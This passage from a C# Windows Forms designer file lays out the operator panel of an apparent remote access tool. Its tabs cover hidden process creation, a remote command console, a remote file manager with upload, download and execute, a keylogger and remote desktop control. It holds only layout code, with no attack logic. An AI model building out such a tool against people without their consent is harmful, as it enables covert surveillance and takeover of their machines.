736 | this.button14.Size = new System.Drawing.Size(116, 23);
737 | this.button14.TabIndex = 6;
738 | this.button14.Text = "Create Process";
739 | this.button14.UseVisualStyleBackColor = true;
740 | this.button14.Click += new System.EventHandler(this.button14_Click);
741 | //
742 | // comboBox4
743 | //
744 | this.comboBox4.FormattingEnabled = true;
745 | this.comboBox4.Items.AddRange(new object[] {
746 | "Normal",
747 | "Hidden"});
748 | this.comboBox4.Location = new System.Drawing.Point(298, 460);
749 | this.comboBox4.Name = "comboBox4";
750 | this.comboBox4.Size = new System.Drawing.Size(121, 21);
751 | this.comboBox4.TabIndex = 5;
752 | this.comboBox4.Text = "Visibility";
753 | //
754 | // textBox4
755 | //
756 | this.textBox4.Location = new System.Drawing.Point(96, 460);
757 | this.textBox4.Name = "textBox4";
758 | this.textBox4.Size = new System.Drawing.Size(196, 20);
759 | this.textBox4.TabIndex = 4;
760 | //
761 | // label17
762 | //
763 | this.label17.AutoSize = true;
764 | this.label17.Location = new System.Drawing.Point(41, 463);
765 | this.label17.Name = "label17";
766 | this.label17.Size = new System.Drawing.Size(49, 13);
767 | this.label17.TabIndex = 3;
768 | this.label17.Text = "Filename";
769 | //
770 | // label16
771 | //
772 | this.label16.AutoSize = true;
773 | this.label16.Location = new System.Drawing.Point(8, 435);
774 | this.label16.Name = "label16";
775 | this.label16.Size = new System.Drawing.Size(104, 13);
776 | this.label16.TabIndex = 2;
777 | this.label16.Text = "Create New Process";
778 | //
779 | // label15
780 | //
781 | this.label15.AutoSize = true;
782 | this.label15.Location = new System.Drawing.Point(8, 12);
783 | this.label15.Name = "label15";
784 | this.label15.Size = new System.Drawing.Size(64, 13);
785 | this.label15.TabIndex = 1;
786 | this.label15.Text = "Process List";
787 | //
788 | // listView2
789 | //
790 | this.listView2.Columns.AddRange(new System.Windows.Forms.ColumnHeader[] {
791 | this.columnHeader6,
792 | this.columnHeader7,
793 | this.columnHeader8,
794 | this.columnHeader9,
795 | this.columnHeader10,
796 | this.columnHeader11});
797 | this.listView2.ContextMenuStrip = this.contextMenuStrip2;
798 | this.listView2.FullRowSelect = true;
799 | this.listView2.GridLines = true;
800 | this.listView2.Location = new System.Drawing.Point(26, 28);
801 | this.listView2.Name = "listView2";
802 | this.listView2.Size = new System.Drawing.Size(867, 375);
803 | this.listView2.TabIndex = 0;
804 | this.listView2.UseCompatibleStateImageBehavior = false;
805 | this.listView2.View = System.Windows.Forms.View.Details;
806 | //
807 | // columnHeader6
808 | //
809 | this.columnHeader6.Text = "Process Name";
810 | this.columnHeader6.Width = 96;
811 | //
812 | // columnHeader7
813 | //
814 | this.columnHeader7.Text = "PID";
815 | //
816 | // columnHeader8
817 | //
818 | this.columnHeader8.Text = "Respoding";
819 | this.columnHeader8.Width = 70;
820 | //
821 | // columnHeader9
822 | //
823 | this.columnHeader9.Text = "Title";
824 | //
825 | // columnHeader10
826 | //
827 | this.columnHeader10.Text = "Priority";
828 | //
829 | // columnHeader11
830 | //
831 | this.columnHeader11.Text = "Path";
832 | //
833 | // contextMenuStrip2
834 | //
835 | this.contextMenuStrip2.Items.AddRange(new System.Windows.Forms.ToolStripItem[] {
836 | this.killToolStripMenuItem,
837 | this.refreshToolStripMenuItem1});
838 | this.contextMenuStrip2.Name = "contextMenuStrip2";
839 | this.contextMenuStrip2.Size = new System.Drawing.Size(114, 48);
840 | //
841 | // killToolStripMenuItem
842 | //
843 | this.killToolStripMenuItem.Name = "killToolStripMenuItem";
844 | this.killToolStripMenuItem.Size = new System.Drawing.Size(113, 22);
845 | this.killToolStripMenuItem.Text = "Kill";
846 | this.killToolStripMenuItem.Click += new System.EventHandler(this.killToolStripMenuItem_Click);
847 | //
848 | // refreshToolStripMenuItem1
849 | //
850 | this.refreshToolStripMenuItem1.Name = "refreshToolStripMenuItem1";
851 | this.refreshToolStripMenuItem1.Size = new System.Drawing.Size(113, 22);
852 | this.refreshToolStripMenuItem1.Text = "Refresh";
853 | this.refreshToolStripMenuItem1.Click += new System.EventHandler(this.refreshToolStripMenuItem1_Click);
854 | //
855 | // tabPage5
856 | //
857 | this.tabPage5.Controls.Add(this.textBox5);
858 | this.tabPage5.Controls.Add(this.richTextBox2);
859 | this.tabPage5.Controls.Add(this.button15);
860 | this.tabPage5.Location = new System.Drawing.Point(4, 22);
861 | this.tabPage5.Name = "tabPage5";
862 | this.tabPage5.Size = new System.Drawing.Size(901, 550);
863 | this.tabPage5.TabIndex = 4;
864 | this.tabPage5.Text = "Remote Cmd";
865 | this.tabPage5.UseVisualStyleBackColor = true;
866 | //
867 | // textBox5
868 | //
869 | this.textBox5.Location = new System.Drawing.Point(8, 469);
870 | this.textBox5.Name = "textBox5";
871 | this.textBox5.Size = new System.Drawing.Size(885, 20);
872 | this.textBox5.TabIndex = 2;
873 | this.textBox5.Tag = "rcmd";
874 | this.textBox5.KeyDown += new System.Windows.Forms.KeyEventHandler(this.textBox5_KeyDown);
875 | //
876 | // richTextBox2
877 | //
878 | this.richTextBox2.BackColor = System.Drawing.Color.Black;
879 | this.richTextBox2.ForeColor = System.Drawing.Color.White;
880 | this.richTextBox2.Location = new System.Drawing.Point(8, 42);
881 | this.richTextBox2.Name = "richTextBox2";
882 | this.richTextBox2.Size = new System.Drawing.Size(885, 425);
883 | this.richTextBox2.TabIndex = 1;
884 | this.richTextBox2.Text = "";
885 | //
886 | // button15
887 | //
888 | this.button15.Location = new System.Drawing.Point(8, 13);
889 | this.button15.Name = "button15";
890 | this.button15.Size = new System.Drawing.Size(113, 23);
891 | this.button15.TabIndex = 0;
892 | this.button15.Text = "Start Cmd";
893 | this.button15.UseVisualStyleBackColor = true;
894 | this.button15.Click += new System.EventHandler(this.button15_Click);
895 | //
896 | // tabPage6
897 | //
898 | this.tabPage6.Controls.Add(this.listView3);
899 | this.tabPage6.Location = new System.Drawing.Point(4, 22);
900 | this.tabPage6.Name = "tabPage6";
901 | this.tabPage6.Size = new System.Drawing.Size(901, 550);
902 | this.tabPage6.TabIndex = 5;
903 | this.tabPage6.Text = "Files";
904 | this.tabPage6.UseVisualStyleBackColor = true;
905 | //
906 | // listView3
907 | //
908 | this.listView3.Columns.AddRange(new System.Windows.Forms.ColumnHeader[] {
909 | this.columnHeader12,
910 | this.columnHeader13,
911 | this.columnHeader14,
912 | this.columnHeader15});
913 | this.listView3.ContextMenuStrip = this.contextMenuStrip3;
914 | this.listView3.FullRowSelect = true;
915 | this.listView3.Location = new System.Drawing.Point(8, 3);
916 | this.listView3.Name = "listView3";
917 | this.listView3.Size = new System.Drawing.Size(885, 477);
918 | this.listView3.TabIndex = 0;
919 | this.listView3.UseCompatibleStateImageBehavior = false;
920 | this.listView3.View = System.Windows.Forms.View.Details;
921 | //
922 | // columnHeader12
923 | //
924 | this.columnHeader12.Text = "File name";
925 | this.columnHeader12.Width = 152;
926 | //
927 | // columnHeader13
928 | //
929 | this.columnHeader13.Text = "File Size";
930 | this.columnHeader13.Width = 88;
931 | //
932 | // columnHeader14
933 | //
934 | this.columnHeader14.Text = "Creation Time";
935 | this.columnHeader14.Width = 122;
936 | //
937 | // columnHeader15
938 | //
939 | this.columnHeader15.Text = "Full Path";
940 | this.columnHeader15.Width = 510;
941 | //
942 | // contextMenuStrip3
943 | //
944 | this.contextMenuStrip3.Items.AddRange(new System.Windows.Forms.ToolStripItem[] {
945 | this.listDrivesToolStripMenuItem,
946 | this.enterDirectoryToolStripMenuItem,
947 | this.toolStripMenuItem1,
948 | this.moveToolStripMenuItem,
949 | this.copyToolStripMenuItem,
950 | this.pasteToolStripMenuItem,
951 | this.executeToolStripMenuItem,
952 | this.uploadToolStripMenuItem,
953 | this.downloadToolStripMenuItem,
954 | this.editToolStripMenuItem,
955 | this.attributesToolStripMenuItem,
956 | this.deleteToolStripMenuItem,
957 | this.renameToolStripMenuItem,
958 | this.newToolStripMenuItem});
959 | this.contextMenuStrip3.Name = "contextMenuStrip3";
960 | this.contextMenuStrip3.Size = new System.Drawing.Size(153, 312);
961 | //
962 | // listDrivesToolStripMenuItem
963 | //
964 | this.listDrivesToolStripMenuItem.Name = "listDrivesToolStripMenuItem";
965 | this.listDrivesToolStripMenuItem.Size = new System.Drawing.Size(152, 22);
966 | this.listDrivesToolStripMenuItem.Text = "List Drives";
967 | this.listDrivesToolStripMenuItem.Click += new System.EventHandler(this.listDrivesToolStripMenuItem_Click);
968 | //
969 | // enterDirectoryToolStripMenuItem
970 | //
971 | this.enterDirectoryToolStripMenuItem.Name = "enterDirectoryToolStripMenuItem";
972 | this.enterDirectoryToolStripMenuItem.Size = new System.Drawing.Size(152, 22);
973 | this.enterDirectoryToolStripMenuItem.Text = "Enter Directory";
974 | this.enterDirectoryToolStripMenuItem.Click += new System.EventHandler(this.enterDirectoryToolStripMenuItem_Click);
975 | //
976 | // toolStripMenuItem1
977 | //
978 | this.toolStripMenuItem1.Name = "toolStripMenuItem1";
979 | this.toolStripMenuItem1.Size = new System.Drawing.Size(152, 22);
980 | this.toolStripMenuItem1.Text = "Up 1 Directory";
981 | this.toolStripMenuItem1.Click += new System.EventHandler(this.toolStripMenuItem1_Click);
982 | //
983 | // moveToolStripMenuItem
984 | //
985 | this.moveToolStripMenuItem.Name = "moveToolStripMenuItem";
986 | this.moveToolStripMenuItem.Size = new System.Drawing.Size(152, 22);
987 | this.moveToolStripMenuItem.Text = "Move";
988 | this.moveToolStripMenuItem.Click += new System.EventHandler(this.moveToolStripMenuItem_Click);
989 | //
990 | // copyToolStripMenuItem
991 | //
992 | this.copyToolStripMenuItem.Name = "copyToolStripMenuItem";
993 | this.copyToolStripMenuItem.Size = new System.Drawing.Size(152, 22);
994 | this.copyToolStripMenuItem.Text = "Copy";
995 | this.copyToolStripMenuItem.Click += new System.EventHandler(this.copyToolStripMenuItem_Click);
996 | //
997 | // pasteToolStripMenuItem
998 | //
999 | this.pasteToolStripMenuItem.DropDownItems.AddRange(new System.Windows.Forms.ToolStripItem[] {
1000 | this.currentDirectoryToolStripMenuItem,
1001 | this.selectedDirectoryToolStripMenuItem});
1002 | this.pasteToolStripMenuItem.Name = "pasteToolStripMenuItem";
1003 | this.pasteToolStripMenuItem.Size = new System.Drawing.Size(152, 22);
1004 | this.pasteToolStripMenuItem.Text = "Paste";
1005 | //
1006 | // currentDirectoryToolStripMenuItem
1007 | //
1008 | this.currentDirectoryToolStripMenuItem.Name = "currentDirectoryToolStripMenuItem";
1009 | this.currentDirectoryToolStripMenuItem.Size = new System.Drawing.Size(169, 22);
1010 | this.currentDirectoryToolStripMenuItem.Text = "Current Directory";
1011 | this.currentDirectoryToolStripMenuItem.Click += new System.EventHandler(this.currentDirectoryToolStripMenuItem_Click);
1012 | //
1013 | // selectedDirectoryToolStripMenuItem
1014 | //
1015 | this.selectedDirectoryToolStripMenuItem.Name = "selectedDirectoryToolStripMenuItem";
1016 | this.selectedDirectoryToolStripMenuItem.Size = new System.Drawing.Size(169, 22);
1017 | this.selectedDirectoryToolStripMenuItem.Text = "Selected Directory";
1018 | this.selectedDirectoryToolStripMenuItem.Click += new System.EventHandler(this.selectedDirectoryToolStripMenuItem_Click);
1019 | //
1020 | // executeToolStripMenuItem
1021 | //
1022 | this.executeToolStripMenuItem.Name = "executeToolStripMenuItem";
1023 | this.executeToolStripMenuItem.Size = new System.Drawing.Size(152, 22);
1024 | this.executeToolStripMenuItem.Text = "Execute";
1025 | this.executeToolStripMenuItem.Click += new System.EventHandler(this.executeToolStripMenuItem_Click);
1026 | //
1027 | // uploadToolStripMenuItem
1028 | //
1029 | this.uploadToolStripMenuItem.DropDownItems.AddRange(new System.Windows.Forms.ToolStripItem[] {
1030 | this.currentDirectoryToolStripMenuItem1,
1031 | this.selectedDirectoryToolStripMenuItem1});
1032 | this.uploadToolStripMenuItem.Name = "uploadToolStripMenuItem";
1033 | this.uploadToolStripMenuItem.Size = new System.Drawing.Size(152, 22);
1034 | this.uploadToolStripMenuItem.Text = "Upload";
1035 | //
1036 | // currentDirectoryToolStripMenuItem1
1037 | //
1038 | this.currentDirectoryToolStripMenuItem1.Name = "currentDirectoryToolStripMenuItem1";
1039 | this.currentDirectoryToolStripMenuItem1.Size = new System.Drawing.Size(169, 22);
1040 | this.currentDirectoryToolStripMenuItem1.Text = "Current Directory";
1041 | this.currentDirectoryToolStripMenuItem1.Click += new System.EventHandler(this.currentDirectoryToolStripMenuItem1_Click);
1042 | //
1043 | // selectedDirectoryToolStripMenuItem1
1044 | //
1045 | this.selectedDirectoryToolStripMenuItem1.Name = "selectedDirectoryToolStripMenuItem1";
1046 | this.selectedDirectoryToolStripMenuItem1.Size = new System.Drawing.Size(169, 22);
1047 | this.selectedDirectoryToolStripMenuItem1.Text = "Selected Directory";
1048 | this.selectedDirectoryToolStripMenuItem1.Click += new System.EventHandler(this.selectedDirectoryToolStripMenuItem1_Click);
1049 | //
1050 | // downloadToolStripMenuItem
1051 | //
1052 | this.downloadToolStripMenuItem.Name = "downloadToolStripMenuItem";
1053 | this.downloadToolStripMenuItem.Size = new System.Drawing.Size(152, 22);
1054 | this.downloadToolStripMenuItem.Text = "Download";
1055 | this.downloadToolStripMenuItem.Click += new System.EventHandler(this.downloadToolStripMenuItem_Click);
1056 | //
1057 | // editToolStripMenuItem
1058 | //
1059 | this.editToolStripMenuItem.Name = "editToolStripMenuItem";
1060 | this.editToolStripMenuItem.Size = new System.Drawing.Size(152, 22);
1061 | this.editToolStripMenuItem.Text = "Edit";
1062 | this.editToolStripMenuItem.Click += new System.EventHandler(this.editToolStripMenuItem_Click);
1063 | //
1064 | // attributesToolStripMenuItem
1065 | //
1066 | this.attributesToolStripMenuItem.DropDownItems.AddRange(new System.Windows.Forms.ToolStripItem[] {
1067 | this.hideToolStripMenuItem,
1068 | this.showToolStripMenuItem});
1069 | this.attributesToolStripMenuItem.Name = "attributesToolStripMenuItem";
1070 | this.attributesToolStripMenuItem.Size = new System.Drawing.Size(152, 22);
1071 | this.attributesToolStripMenuItem.Text = "Attributes";
1072 | //
1073 | // hideToolStripMenuItem
1074 | //
1075 | this.hideToolStripMenuItem.Name = "hideToolStripMenuItem";
1076 | this.hideToolStripMenuItem.Size = new System.Drawing.Size(103, 22);
1077 | this.hideToolStripMenuItem.Text = "Hide";
1078 | this.hideToolStripMenuItem.Click += new System.EventHandler(this.hideToolStripMenuItem_Click);
1079 | //
1080 | // showToolStripMenuItem
1081 | //
1082 | this.showToolStripMenuItem.Name = "showToolStripMenuItem";
1083 | this.showToolStripMenuItem.Size = new System.Drawing.Size(103, 22);
1084 | this.showToolStripMenuItem.Text = "Show";
1085 | this.showToolStripMenuItem.Click += new System.EventHandler(this.showToolStripMenuItem_Click);
1086 | //
1087 | // deleteToolStripMenuItem
1088 | //
1089 | this.deleteToolStripMenuItem.Name = "deleteToolStripMenuItem";
1090 | this.deleteToolStripMenuItem.Size = new System.Drawing.Size(152, 22);
1091 | this.deleteToolStripMenuItem.Text = "Delete";
1092 | this.deleteToolStripMenuItem.Click += new System.EventHandler(this.deleteToolStripMenuItem_Click);
1093 | //
1094 | // renameToolStripMenuItem
1095 | //
1096 | this.renameToolStripMenuItem.Name = "renameToolStripMenuItem";
1097 | this.renameToolStripMenuItem.Size = new System.Drawing.Size(152, 22);
1098 | this.renameToolStripMenuItem.Text = "Rename";
1099 | this.renameToolStripMenuItem.Click += new System.EventHandler(this.renameToolStripMenuItem_Click);
1100 | //
1101 | // newToolStripMenuItem
1102 | //
1103 | this.newToolStripMenuItem.DropDownItems.AddRange(new System.Windows.Forms.ToolStripItem[] {
1104 | this.fileToolStripMenuItem,
1105 | this.directoryToolStripMenuItem});
1106 | this.newToolStripMenuItem.Name = "newToolStripMenuItem";
1107 | this.newToolStripMenuItem.Size = new System.Drawing.Size(152, 22);
1108 | this.newToolStripMenuItem.Text = "New";
1109 | //
1110 | // fileToolStripMenuItem
1111 | //
1112 | this.fileToolStripMenuItem.Name = "fileToolStripMenuItem";
1113 | this.fileToolStripMenuItem.Size = new System.Drawing.Size(122, 22);
1114 | this.fileToolStripMenuItem.Text = "File";
1115 | this.fileToolStripMenuItem.Click += new System.EventHandler(this.fileToolStripMenuItem_Click);
1116 | //
1117 | // directoryToolStripMenuItem
1118 | //
1119 | this.directoryToolStripMenuItem.Name = "directoryToolStripMenuItem";
1120 | this.directoryToolStripMenuItem.Size = new System.Drawing.Size(122, 22);
1121 | this.directoryToolStripMenuItem.Text = "Directory";
1122 | this.directoryToolStripMenuItem.Click += new System.EventHandler(this.directoryToolStripMenuItem_Click);
1123 | //
1124 | // tabPage7
1125 | //
1126 | this.tabPage7.Controls.Add(this.button19);
1127 | this.tabPage7.Controls.Add(this.button18);
1128 | this.tabPage7.Controls.Add(this.button17);
1129 | this.tabPage7.Controls.Add(this.button16);
1130 | this.tabPage7.Controls.Add(this.richTextBox3);
1131 | this.tabPage7.Location = new System.Drawing.Point(4, 22);
1132 | this.tabPage7.Name = "tabPage7";
1133 | this.tabPage7.Size = new System.Drawing.Size(901, 550);
1134 | this.tabPage7.TabIndex = 6;
1135 | this.tabPage7.Text = "Keylogger";
1136 | this.tabPage7.UseVisualStyleBackColor = true;
1137 | //
1138 | // button19
1139 | //
1140 | this.button19.Location = new System.Drawing.Point(251, 464);
1141 | this.button19.Name = "button19";
1142 | this.button19.Size = new System.Drawing.Size(75, 23);
1143 | this.button19.TabIndex = 4;
1144 | this.button19.Text = "Clear Buffer";
1145 | this.button19.UseVisualStyleBackColor = true;
1146 | this.button19.Click += new System.EventHandler(this.button19_Click);
1147 | //
1148 | // button18
1149 | //
1150 | this.button18.Location = new System.Drawing.Point(170, 464);
1151 | this.button18.Name = "button18";
1152 | this.button18.Size = new System.Drawing.Size(75, 23);
1153 | this.button18.TabIndex = 3;
1154 | this.button18.Text = "Retrive";
1155 | this.button18.UseVisualStyleBackColor = true;
1156 | this.button18.Click += new System.EventHandler(this.button18_Click);
1157 | //
1158 | // button17
1159 | //
1160 | this.button17.Location = new System.Drawing.Point(89, 464);
1161 | this.button17.Name = "button17";
1162 | this.button17.Size = new System.Drawing.Size(75, 23);
1163 | this.button17.TabIndex = 2;
1164 | this.button17.Text = "Stop";
1165 | this.button17.UseVisualStyleBackColor = true;
1166 | this.button17.Click += new System.EventHandler(this.button17_Click);
1167 | //
1168 | // button16
1169 | //
1170 | this.button16.Location = new System.Drawing.Point(8, 464);
1171 | this.button16.Name = "button16";
1172 | this.button16.Size = new System.Drawing.Size(75, 23);
1173 | this.button16.TabIndex = 1;
1174 | this.button16.Text = "Start";
1175 | this.button16.UseVisualStyleBackColor = true;
1176 | this.button16.Click += new System.EventHandler(this.button16_Click);
1177 | //
1178 | // richTextBox3
1179 | //
1180 | this.richTextBox3.Location = new System.Drawing.Point(8, 3);
1181 | this.richTextBox3.Name = "richTextBox3";
1182 | this.richTextBox3.Size = new System.Drawing.Size(885, 455);
1183 | this.richTextBox3.TabIndex = 0;
1184 | this.richTextBox3.Text = "";
1185 | //
1186 | // tabPage8
1187 | //
1188 | this.tabPage8.Controls.Add(this.lblQualityShow);
1189 | this.tabPage8.Controls.Add(this.lblChooseScreen);
1190 | this.tabPage8.Controls.Add(this.cmboChooseScreen);
1191 | this.tabPage8.Controls.Add(this.btnCountScreens);
1192 | this.tabPage8.Controls.Add(this.btnStartTaskManager);
1193 | this.tabPage8.Controls.Add(this.txtBControlKeyboard);
1194 | this.tabPage8.Controls.Add(this.label34);
1195 | this.tabPage8.Controls.Add(this.trackBar1);
1196 | this.tabPage8.Controls.Add(this.btnFullScreenMode);
1197 | this.tabPage8.Controls.Add(this.checkBoxrKeyboard);
1198 | this.tabPage8.Controls.Add(this.checkBoxrMouse);
1199 | this.tabPage8.Controls.Add(this.button22);
1200 | this.tabPage8.Controls.Add(this.button21);
1201 | this.tabPage8.Controls.Add(this.pictureBox1);
1202 | this.tabPage8.Location = new System.Drawing.Point(4, 22);
1203 | this.tabPage8.Name = "tabPage8";
1204 | this.tabPage8.Size = new System.Drawing.Size(901, 550);
1205 | this.tabPage8.TabIndex = 7;
1206 | this.tabPage8.Text = "Remote Desktop";
1207 | this.tabPage8.UseVisualStyleBackColor = true;
1208 | //
1209 | // lblQualityShow
1210 | //
1211 | this.lblQualityShow.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Left)));
1212 | this.lblQualityShow.AutoSize = true;
1213 | this.lblQualityShow.BackColor = System.Drawing.Color.Yellow;
1214 | this.lblQualityShow.Location = new System.Drawing.Point(797, 527);
1215 | this.lblQualityShow.Name = "lblQualityShow";
1216 | this.lblQualityShow.Size = new System.Drawing.Size(33, 13);
1217 | this.lblQualityShow.TabIndex = 21;
1218 | this.lblQualityShow.Text = "(best)";
1219 | //
1220 | // lblChooseScreen
1221 | //
1222 | this.lblChooseScreen.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Left)));
1223 | this.lblChooseScreen.AutoSize = true;
1224 | this.lblChooseScreen.Location = new System.Drawing.Point(546, 523);
1225 | this.lblChooseScreen.Name = "lblChooseScreen";
1226 | this.lblChooseScreen.Size = new System.Drawing.Size(83, 13);
1227 | this.lblChooseScreen.TabIndex = 20;
1228 | this.lblChooseScreen.Text = "Choose Screen:";
1229 | //
1230 | // cmboChooseScreen
1231 | //
1232 | this.cmboChooseScreen.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Left)));
1233 | this.cmboChooseScreen.DropDownStyle = System.Windows.Forms.ComboBoxStyle.DropDownList;
1234 | this.cmboChooseScreen.FormattingEnabled = true;
1235 | this.cmboChooseScreen.Location = new System.Drawing.Point(631, 518);
1236 | this.cmboChooseScreen.Name = "cmboChooseScreen";
1237 | this.cmboChooseScreen.Size = new System.Drawing.Size(75, 21);
1238 | this.cmboChooseScreen.TabIndex = 19;
1239 | //
1240 | // btnCountScreens
1241 | //
1242 | this.btnCountScreens.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Left)));
1243 | this.btnCountScreens.Location = new System.Drawing.Point(549, 485);
1244 | this.btnCountScreens.Name = "btnCountScreens";
1245 | this.btnCountScreens.Size = new System.Drawing.Size(157, 23);
1246 | this.btnCountScreens.TabIndex = 18;
1247 | this.btnCountScreens.Text = "Count Screens";
1248 | this.btnCountScreens.UseVisualStyleBackColor = true;
1249 | this.btnCountScreens.Click += new System.EventHandler(this.btnCountScreens_Click);
1250 | //
1251 | // btnStartTaskManager
1252 | //
1253 | this.btnStartTaskManager.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Left)));
1254 | this.btnStartTaskManager.Enabled = false;
1255 | this.btnStartTaskManager.Location = new System.Drawing.Point(395, 485);
1256 | this.btnStartTaskManager.Name = "btnStartTaskManager";
1257 | this.btnStartTaskManager.Size = new System.Drawing.Size(146, 23);
1258 | this.btnStartTaskManager.TabIndex = 17;
1259 | this.btnStartTaskManager.Text = "Start Remote TaskManager";
1260 | this.btnStartTaskManager.UseVisualStyleBackColor = true;
1261 | this.btnStartTaskManager.Click += new System.EventHandler(this.btnStartTaskManager_Click);
1262 | //
1263 | // txtBControlKeyboard
1264 | //
1265 | this.txtBControlKeyboard.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Left)));
1266 | this.txtBControlKeyboard.BackColor = System.Drawing.SystemColors.Window;
1267 | this.txtBControlKeyboard.BorderStyle = System.Windows.Forms.BorderStyle.None;
1268 | this.txtBControlKeyboard.Cursor = System.Windows.Forms.Cursors.Arrow;
1269 | this.txtBControlKeyboard.ForeColor = System.Drawing.SystemColors.Window;
1270 | this.txtBControlKeyboard.Location = new System.Drawing.Point(181, 496);
1271 | this.txtBControlKeyboard.Multiline = true;
1272 | this.txtBControlKeyboard.Name = "txtBControlKeyboard";
1273 | this.txtBControlKeyboard.Size = new System.Drawing.Size(94, 20);
1274 | this.txtBControlKeyboard.TabIndex = 16;
1275 | this.txtBControlKeyboard.KeyDown += new System.Windows.Forms.KeyEventHandler(this.txtBControlKeyboard_KeyDown);
1276 | //
1277 | // label34
1278 | //
1279 | this.label34.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Left)));
1280 | this.label34.AutoSize = true;
1281 | this.label34.Location = new System.Drawing.Point(756, 482);
1282 | this.label34.Name = "label34";
1283 | this.label34.Size = new System.Drawing.Size(110, 13);
1284 | this.label34.TabIndex = 15;
1285 | this.label34.Text = "Screen Refresh Rate:";
1286 | //
1287 | // trackBar1
1288 | //
1289 | this.trackBar1.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Left)));
1290 | this.trackBar1.BackColor = System.Drawing.Color.Yellow;
1291 | this.trackBar1.Location = new System.Drawing.Point(727, 498);
1292 | this.trackBar1.Maximum = 100;
1293 | this.trackBar1.Minimum = 1;
1294 | this.trackBar1.Name = "trackBar1";
1295 | this.trackBar1.Size = new System.Drawing.Size(166, 45);
1296 | this.trackBar1.TabIndex = 14;
1297 | this.trackBar1.Value = 75;
1298 | this.trackBar1.Scroll += new System.EventHandler(this.trackBar1_Scroll);
1299 | //
1300 | // btnFullScreenMode
1301 | //
1302 | this.btnFullScreenMode.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Left)));
1303 | this.btnFullScreenMode.Enabled = false;
1304 | this.btnFullScreenMode.Location = new System.Drawing.Point(395, 516);
1305 | this.btnFullScreenMode.Name = "btnFullScreenMode";
1306 | this.btnFullScreenMode.Size = new System.Drawing.Size(146, 23);
1307 | this.btnFullScreenMode.TabIndex = 5;
1308 | this.btnFullScreenMode.Text = "Fullscreen Mode";
1309 | this.btnFullScreenMode.UseVisualStyleBackColor = true;
1310 | this.btnFullScreenMode.Click += new System.EventHandler(this.btnFullRemoteScreen_Click);
1311 | //
1312 | // checkBoxrKeyboard
1313 | //
1314 | this.checkBoxrKeyboard.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Left)));
1315 | this.checkBoxrKeyboard.AutoSize = true;
1316 | this.checkBoxrKeyboard.Location = new System.Drawing.Point(282, 520);
1317 | this.checkBoxrKeyboard.Name = "checkBoxrKeyboard";
1318 | this.checkBoxrKeyboard.Size = new System.Drawing.Size(107, 17);
1319 | this.checkBoxrKeyboard.TabIndex = 4;
1320 | this.checkBoxrKeyboard.Text = "Control Keyboard";
1321 | this.checkBoxrKeyboard.UseVisualStyleBackColor = true;
1322 | this.checkBoxrKeyboard.CheckedChanged += new System.EventHandler(this.checkBoxrKeyboard_CheckedChanged);
1323 | //
1324 | // checkBoxrMouse
1325 | //
1326 | this.checkBoxrMouse.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Left)));
1327 | this.checkBoxrMouse.AutoSize = true;
1328 | this.checkBoxrMouse.Location = new System.Drawing.Point(182, 520);
1329 | this.checkBoxrMouse.Name = "checkBoxrMouse";
1330 | this.checkBoxrMouse.Size = new System.Drawing.Size(94, 17);
1331 | this.checkBoxrMouse.TabIndex = 3;
1332 | this.checkBoxrMouse.Text = "Control Mouse";
1333 | this.checkBoxrMouse.UseVisualStyleBackColor = true;
1334 | this.checkBoxrMouse.CheckedChanged += new System.EventHandler(this.checkBoxrMouse_CheckedChanged);
1335 | //
1336 | // button22
1337 | //
1338 | this.button22.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Left)));
1339 | this.button22.Location = new System.Drawing.Point(87, 516);
1340 | this.button22.Name = "button22";
1341 | this.button22.Size = new System.Drawing.Size(75, 23);
1342 | this.button22.TabIndex = 2;
1343 | this.button22.Text = "Stop";
1344 | this.button22.UseVisualStyleBackColor = true;
1345 | this.button22.Click += new System.EventHandler(this.btnStopRemoteScreen_Click);
1346 | //
1347 | // button21
1348 | //
1349 | this.button21.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Left)));
1350 | this.button21.Location = new System.Drawing.Point(6, 516);
1351 | this.button21.Name = "button21";
1352 | this.button21.Size = new System.Drawing.Size(75, 23);
1353 | this.button21.TabIndex = 1;
1354 | this.button21.Text = "Start";
1355 | this.button21.UseVisualStyleBackColor = true;
1356 | this.button21.Click += new System.EventHandler(this.btnStartRemoteScreen_Click);
1357 | //
1358 | // pictureBox1
1359 | //
1360 | this.pictureBox1.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom)
1361 | | System.Windows.Forms.AnchorStyles.Left)
1362 | | System.Windows.Forms.AnchorStyles.Right)));
1363 | this.pictureBox1.Location = new System.Drawing.Point(8, 3);
1364 | this.pictureBox1.Name = "pictureBox1";
1365 | this.pictureBox1.Size = new System.Drawing.Size(890, 476);
1366 | this.pictureBox1.SizeMode = System.Windows.Forms.PictureBoxSizeMode.StretchImage;
1367 | this.pictureBox1.TabIndex = 0;
1368 | this.pictureBox1.TabStop = false;
1369 | this.pictureBox1.Tag = "rdesktop";
1370 | this.pictureBox1.Click += new System.EventHandler(this.pictureBox1_Click);
